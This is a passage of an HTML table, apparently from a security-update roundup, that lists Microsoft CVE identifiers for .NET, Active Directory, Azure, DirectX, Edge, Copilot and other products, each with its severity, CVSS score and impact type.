  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
